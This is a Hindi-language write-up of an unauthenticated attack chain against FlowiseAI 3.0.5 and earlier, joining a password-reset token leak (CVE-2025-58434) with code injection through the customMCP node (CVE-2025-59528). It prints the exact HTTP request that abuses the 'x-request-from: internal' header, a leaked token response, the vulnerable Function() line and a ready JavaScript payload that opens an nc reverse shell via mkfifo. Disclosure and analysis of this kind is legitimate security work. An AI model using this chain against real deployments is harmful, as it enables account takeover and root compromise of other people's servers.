क्रिटिकल अनप्रमाणित हमला श्रृंखला जो FlowiseAI में पूर्ण RCE की ओर ले जाती है (CVE-2025-58434 + CVE-2025-59528)
FlowiseAI
<= 3.0.5के विरुद्ध अप्रमाणित खाता अधिग्रहण को रिमोट कोड निष्पादन के साथ जोड़ा गया। 5 सेकंड से कम में पूर्ण कंटेनर समझौता, शून्य क्रेडेंशियल आवश्यक।
बाएँ: FlowiseAI लॉगिन पृष्ठ — दाएँ: CVE-2025-59528 के माध्यम से रूट शेल · uid=0(root)
यह एक्सप्लॉइट दो स्वतंत्र गंभीर कमजोरियों को एक एकल पूरी तरह से स्वचालित हमले में जोड़ता है। कोई भी कमजोरी अकेले पूर्ण समझौते की गारंटी नहीं देती — लेकिन एक साथ, वे शून्य क्रेडेंशियल से लेकर डॉकर कंटेनर के अंदर रूट शेल तक एक पूर्ण किल चेन बनाती हैं।
[No credentials]
│
▼
① Abuse forgot-password endpoint (no auth required)
│ → Server responds with the victim's reset token in plaintext
▼
② Submit token to reset-password endpoint
│ → Attacker controls the admin password
▼
③ Login + retrieve Bearer API key
│ → Full authenticated session established
▼
④ Send JavaScript payload via customMCP node
│ → Server evaluates it via Function() constructor
▼
[Root shell inside Docker container]
इसे शून्य-इंटरैक्शन क्या बनाता है: किसी भी बिंदु पर पीड़ित को ईमेल प्राप्त नहीं होता, लॉगिन अलर्ट नहीं दिखता, या कोई दृश्य घटना ट्रिगर नहीं होती। हमला पूरी तरह से सर्वर-साइड है।
CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
प्रभावित: FlowiseAI <= 3.0.5 (क्लाउड + स्व-होस्टेड)
सलाहकार: GHSA-wgpv-6j63-x5ph
FlowiseAI में "आंतरिक" अनुरोधों की अवधारणा है — अपनी सेवाओं के बीच किए गए API कॉल — जिन्हें x-request-from: internal HTTP हेडर द्वारा पहचाना जाता है। /api/v1/account/forgot-password एंडपॉइंट इस हेडर का उपयोग प्रमाणीकरण को पूरी तरह से छोड़ने और बाहरी कॉल करने वालों की तुलना में एक अलग, अधिक विस्तृत प्रतिक्रिया देने के लिए करता है।
समस्या: इस हेडर को किसी भी तरह से मान्य या प्रतिबंधित नहीं किया गया है। इंटरनेट पर कोई भी हमलावर इसे भेज सकता है। जब वे ऐसा करते हैं, तो पासवर्ड रीसेट ईमेल ट्रिगर करने के बजाय, API पूर्ण उपयोगकर्ता रिकॉर्ड के साथ प्रतिक्रिया करता है — जिसमें एक लाइव tempToken शामिल है जिसका उपयोग तुरंत नया पासवर्ड सेट करने के लिए किया जा सकता है।
सामान्यतः, पासवर्ड रीसेट प्रवाह इस प्रकार दिखता है:
उपयोगकर्ता रीसेट का अनुरोध करता है → सर्वर टोकन उत्पन्न करता है → टोकन ईमेल द्वारा भेजा जाता है → उपयोगकर्ता लिंक पर क्लिक करता है → पासवर्ड बदल जाता है
यहाँ, सर्वर ईमेल चरण को पूरी तरह से छोड़ देता है और टोकन को सीधे HTTP प्रतिक्रिया निकाय में रखता है। हमलावर इसे पकड़ लेता है और सीधे रीसेट चरण पर चला जाता है — किसी ईमेल पहुंच की आवश्यकता नहीं है।
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — पूर्ण उपयोगकर्ता रिकॉर्ड उजागर{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
फिर tempToken को सीधे रीसेट एंडपॉइंट पर प्रस्तुत किया जाता है — कोई ईमेल इंटरैक्शन, कोई CAPTCHA, कोई दर सीमा नहीं।

CVSS 3.1: 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
प्रभावित: FlowiseAI <= 3.0.5
सलाहकार: GHSA-3gcm-f6qx-ff7p
FlowiseAI उपयोगकर्ताओं को JSON स्ट्रिंग के रूप में प्रदान की गई सर्वर कॉन्फ़िगरेशन के साथ कस्टम MCP (मॉडल संदर्भ प्रोटोकॉल) नोड्स को परिभाषित करने की अनुमति देता है। आंतरिक रूप से, प्लेटफ़ॉर्म को इस कॉन्फ़िगरेशन को पार्स करने की आवश्यकता होती है — और यह JavaScript के Function() कंस्ट्रक्टर का उपयोग करके ऐसा करता है, जो eval() के कार्यात्मक रूप से समतुल्य है।
कॉन्फ़िगरेशन स्ट्रिंग पूरी तरह से अशोधित सिंक तक पहुँचती है:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
// ↑ unsanitized user input — arbitrary JS execution
Function() eval() जितना खतरनाक क्यों हैFunction('return ' + code)() निम्नलिखित करता है:
code को इसके मुख्य भाग के रूप में एक नया JavaScript फ़ंक्शन बनाता हैयह हमलावर को process, require, child_process और संपूर्ण Node.js रनटाइम तक पहुंच के साथ एक पूर्ण JavaScript निष्पादन संदर्भ देता है — कोई सैंडबॉक्स नहीं।
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← attacker-controlled string
└─ substituteVariablesInString() ← no filtering, passes through
└─ convertToValidJSONString() ← no filtering, passes through
└─ Function('return ' + input)() ← arbitrary code executes here
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
mkfifoऔर/dev/tcpक्यों नहीं?
कंटेनर/bin/shचलाता है, न कि/bin/bash।/dev/tcpकेवल bash की विशेषता है — यह मानक POSIX शेल में मौजूद नहीं है।mkfifoएक नामित पाइप बनाता है जो किसी भी POSIX-अनुरूप शेल में काम करता है, जिससे रिवर्स शेल कंटेनर वातावरणों में पोर्टेबल हो जाता है।